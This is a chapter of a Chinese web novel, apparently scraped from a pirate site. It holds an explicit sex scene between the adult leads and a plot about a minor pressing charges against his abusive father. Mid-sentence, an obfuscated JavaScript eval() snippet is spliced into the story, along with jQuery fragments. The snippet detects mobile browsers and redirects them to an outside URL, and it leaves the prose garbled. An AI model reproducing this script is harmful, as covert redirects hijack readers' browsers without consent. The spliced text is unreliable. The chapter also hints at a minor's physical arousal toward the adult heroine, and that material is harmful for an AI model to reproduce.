80. 第 80 章

作品:《恶毒女配不好惹!

    聚餐结束后,尚今歌被卫免带回她住的房子。


    在卫免殷勤照顾下,尚今歌不花一点力气洗完澡和吹干头发,刚脱下浴袍拿起睡裙准备换上,一具滚烫的身体从背后贴了上来,她将睡裙扔回床上转身抱住男人结实的腰身。


    尚今歌从卫免烫人的怀中探出脑袋仰头看他:“你不是说要带我去你的千平大平层?怎么回这儿了?”


    “和代驾报错地址了,下次带你去。”卫免心里打着小九九,他当然不会和尚今歌说今晚要好好报复叶守诚那天在工作室门口带走她时对自己的嘲讽。


    尚今歌没多想,只在卫免突然将她抱起时惊呼了声,很快,她做好他要在主卧进行深夜双人切磋的准备,却发现他竟然抱着她跑到门边。


    □□的尚今歌紧紧搂住他的脖子,双脚圈住他的腰,整个人挂在他身上,瞧着卫免鬼鬼祟祟地将门打开一条门缝往外瞅,她不禁好奇道:“你在看什么?”


    “我担心臭扫货会来骚扰我们。”卫免嘴上说着担心,内心其实恨不得叶守诚现在过来打扰,那他就可以得意地阴阳回去,让他躲被子里听他和尚今歌的墙角然后难受地哭一晚上。


    尚今歌被他这个傻样给逗笑了,她推上门,主动贴上他的唇瓣,“放一百个心,叶守诚明天要飞去D国,今晚在自己住的别墅里收拾行李,所以没人会打扰我们。”


    “什么?!”卫免忽然觉得自己刚才从夜谜餐厅离开时,特地对叶守诚透露今晚带尚今歌回她房子的行为像个白痴。


    不过转念一想,没人打扰,那他岂不是可以和尚今歌在房子的任意一处放肆耕耘整晚?


    想到这,无法报仇的郁闷瞬间化为乌有,取而代之的是各种想要尝试的地点和方式。


    他兴冲冲地抱着尚今歌折返双人床旁,从床头柜抽出一盒用品后快步离开卧室。


    “卫免,怎么带我来客厅?”正贴着卫免喉结轻吮的尚今歌被他突然拉开卧室门跑到客厅的动作给弄懵了,亲昵的动作也随之停下。


    卫免将尚今歌放坐在沙发上,牵引着她的手帮他戴上水果味的,随后单膝跪在尚今歌身侧,“今歌,我们在这儿试试,好不好?”


    后背突然碰到沙发,凉凉的触感令尚今歌瑟缩了一下,她还没来得及点头同意,欺身压来的卫免带着炙热将她全身点燃。


    她被牢牢地钉在沙发上,被健壮有力的臂弯圈在源源不断蒸腾出羞人热意的怀中。


    被带着飞上云端之际,尚今歌忽然瞥到客厅落地窗的窗帘半开着,一下子紧张起来,浑身的肌肉霎时绷紧,“卫免,窗帘......窗帘没拉好。”


    “嘶......我们......我们一起去拉上它。”突然的刺激令卫免从喉间逸出几声喘息,小麦色的肌肤登时泛起一片火红,他缓了好一会儿才找回清明。


    撑在沙发靠背上的手托在尚今歌柔弱无骨的腰肢上,如获至宝般将她搂入怀中。


    沙发到落地窗的距离不过五六米,却在卫免的走走停停下磨蹭了十几分钟。


    “快点拉上,不然被人看到......”尚今歌被他折磨得要发疯了,双臂缠上他的后背,指甲用力地在他背上划出道道血痕。


    “被看到不是更好?就这样让所有人都知道我们是一体的。”卫免想到什么,顾不上后背密密麻麻的刺痛,他回到沙发旁,捞起一只抱枕,接着脚步匆匆来到客厅落地窗前。


    “不要......”尚今歌麻痹的神经彻底失去思考的能力,只能重复着这两个字。


    卫免扯开窗帘,半开的窗帘完全大开。他把抱枕贴着玻璃,然后将怀中尚今歌的后背压在抱枕上。


    “卫免!快拉上窗帘!”崩塌的思绪在窗帘大开的声响下重新加载,尚今歌后背弓起,脑袋死死埋进卫免的肩窝,不敢面对眼前的现实。


    “逗你的,客厅落地窗外还有一个内阳台,阳台的窗户窗帘我早就关好了。”卫免单手撑在落地窗上,另一只手托着尚今歌,感受到怀中人的战栗,他不敢再逗她。


    意识到自己被骗,一脸潮红的尚今歌又气又恼,她对着眼前的肩窝狠狠啃了一口。


    “嘶!好疼!”


    “疼死你得了。”


    “我不,我疼死了,你会心疼的。”


    “我才不会.......唔,你又不打招呼.......”


    窗外夜色弥漫,客厅里灯火通明,缠绵的细语和不知疲惫的灯光一起绵延直至黎明破晓。


    与卫免工作室合作的五首歌曲录制完成后,尚今歌便待在自己的工作室。


    薄锦喻已经将她写给亚洲杯的两首备用主题曲编曲完成,此刻,她正在控制室里听他的完成品。


    两首歌听完,尚今歌不得不再次感叹,她真的是捡到宝了!


    薄锦喻的编曲能力成熟得几乎能媲美大师级别,尚今歌没有和大师合作过,穿书前,她都是自己作词作曲再编曲,一个人当几个人用,吸血鬼公司拼命压榨她。


    虽然没有和大师合作过,但有过交流,听过大师编曲的作品,她能感觉到薄锦喻的能力完全够得上大师的称号。


    自己这次对他伸出援手,不惜对上背靠与炘传媒的薄良哲,在这一刻看来完全值得。


    “尚老板,是哪里不够好吗?”薄锦喻见尚今歌一言不发地盯着自己,以为自己的编曲有问题,不免有些紧张。


    听到薄锦喻的声音,尚今歌飘远的思绪瞬间回笼,她连连摇头,“不不不,你做得很好,我非常满意!”


    得到夸赞的薄锦喻因紧张而绷紧的面颊顿时放松下来,嘴角也随着尚今歌脸上的笑容有了上扬的弧度,“那真是太好了。”


    “我拷贝一份发给徐忱逸,让他对接亚足联那边。”尚今歌揉了揉他毛茸茸的脑袋,弯腰在控制台的电脑上操作起来。


    趁尚今歌注意力全在电脑上的时候,薄锦喻得以将目光全都落在她的身上,空调的凉风时不时将她身上清新淡雅的玫瑰味吹送到他的鼻间,他的心跳每次都会不受控制地加速,全身的血液也会跟着上涌让他脑袋发热产生晕乎乎的感觉。


    “你脸怎么突然这么红?生病了吗?”将音频打包发送给徐忱逸后,尚今歌扭头看到坐在控制台前的薄锦喻脸蛋红红的,耳朵也红得充血,整个人看起来像发烧又像喝醉一样,她伸手探了探他额头的温度,“也不烫啊。”


    “尚老板,我没事,就是有点热。”薄锦喻迅速挪动身下的旋转椅,将自己整个下半身都塞到控制台桌面下,接着拿起手边的空调遥控器将制冷温度调低了一些。


    尚今歌抽出被他压在椅背上的薄毯,悬空抖了抖又轻轻披在薄锦喻的肩上,“我知道酷暑容易热,但也要注意保暖,冷热交替容易感冒。”


    “我知道了。”薄锦喻低头抓住肩上的薄毯,轻轻闻了一下,仿佛薄毯上也被尚今歌染上玫瑰香,甚至还能感觉到上面残留了她指间的温度。


    “那你继续忙,我去吧台弄点饮料喝,需要帮你弄一杯吗?”尚今歌觉得暂时没事要和他商量,找了个理由准备出去。


    薄锦喻摇了摇头:“我暂时不渴,谢谢。”


    “好,有需要喊我。”尚今歌转身准备离开,刚走出两步,手腕突然被拉住,她狐疑地回头,“怎么了?”


    “尚老板,我想好了,我要送薄良哲去坐牢。”薄锦喻抬起头,脸上的红霞未消,整个人看起来软糯可爱,但他的神色坚定,显示出破釜沉舟的决心。


    这一刻的薄锦喻不再显得怯弱可欺,他锐利的棱角正在显现。


    对于薄锦喻做出的决定,尚今歌为他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155460|190115||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    欣慰,也全力支持他的决定。


    本来她打算给他三天时间慢慢思考做决定,无论他因为自己的顾虑选择对薄良哲不予追究,抑或是选择将他绳之以法,她都会尊重且支持。


    现在听到薄锦喻做出她希望他做出的决定,尚今歌转过身重新面对他,纤细的手腕按在他的肩头,“这个决定非常正确,不要害怕也不要畏惧会产生的后果,我会支持你,做你的后盾。”


    薄良哲这种人不仅不配做父亲,更不配做人,如果可以,尚今歌更希望不是送他去坐几年牢,而是直接动手杀了他。


    犯罪的成本太低,所以罪犯才会肆无忌惮。


    尚今歌心中的怒火剧烈燃烧,连双手突然收紧指尖扣在薄锦喻两边锁骨上都没察觉到。


    薄锦喻紧咬唇瓣,对于脖子两边锁骨传来的疼痛,他完全没有抵抗的意思,因为这是尚今歌给予的,他欣然承受她给予的一切,无论是鼓励支持还是痛苦折磨,只要是她给的。


    等不及收拾恶鬼薄良哲,尚今歌领着薄锦喻赶去他外公外婆家。


    不出尚今歌所料,他的外公外婆家所住的独栋三层别墅左右邻居全是薄良哲的人。


    在看到尚今歌和薄锦喻出现在别墅院门口时,左右两边的邻居立刻窜到二楼窗户悄悄掀开窗帘对他俩进行打量。


    有十几名保镖跟着,尚今歌才不怕他们能出来对自己做什么,况且这些监视的人的头子薄良哲已经被她软禁起来,得不到命令的他们,也不敢轻举妄动。


    “走,我们进去。”尚今歌挽上薄锦喻的胳膊,推着他来到院门口示意他解锁密码。


    “锦喻?是不是锦喻啊?”庭院里,一个头发花白的老奶奶拄着拐棍正用一根盲杖在院子里摸索散步,她听到院门口有动静,深一脚浅一脚地来到院门口。


    “外婆,是我,我来看你了。”看着眼前因为失去女儿哭到失明的外婆,薄锦喻喉咙堵得难受,眼睛更是酸涩地盈满泪水,他使劲眨动眼睛才让泪水没有落下。


    外婆一听真是薄锦喻,暗无光泽的眼睛顿时淌下两行清泪,她紧紧抱住薄锦喻,“锦喻,到底出什么事了?你爸爸是不是做了什么伤害你的事?所以你才躲起来不让他找到你?”


    “外婆,是的,薄良哲伤害了我,也伤害了妈妈。”薄锦喻回抱住身前这个只到他心口高度的外婆,遏制住的泪水再次涌出。


    要不是不想失去独生女的外公外婆再受白发人送黑发人的痛苦,他早就和薄良哲同归于尽。


    避免隔墙有耳,外婆带着薄锦喻和尚今歌进了别墅客厅。


    在看到坐在轮椅上的薄锦喻外公,尚今歌终于明白为什么薄锦喻宁愿自己一个人扛着躲起来也不敢求助两位老人。


    外公外婆两人都有残疾,自顾不暇,如果再让他们操心,他们的身体和心理如何承受得住?


    “这个杀千刀的杂种!”得知事情原委的外婆气得大骂起来,她愤怒用手中的拐棍在地上戳得咚咚响。


    外公则是双手紧握成拳,懊悔地捶打自己无知觉的双腿,“我早和颂月说过薄良哲看着就不是良人,嫁给他肯定吃苦受罪,她偏不听,一根筋扎进去,最后自己被气出病......”


    说到已故的女儿,外公一下子哽咽得说不下去,只能大口喘气。


    “外公外婆,我和锦喻今天过来就是要送薄良哲去坐牢,他是未成年人,还需要你们出面协助。”尚今歌跟着薄锦喻一起称呼眼前的两位老人,如果薄锦喻不是未成年人,她直接带他去派出所就行,但他未成年,案件调查中还需要家长出面。


    “那我们现在去报警!”外婆激动地拄着拐棍从沙发上站起,拉上薄锦喻就往门外走。


    薄锦喻外公按下轮椅遥控器立马跟上两人,尚今歌也起身追了上去。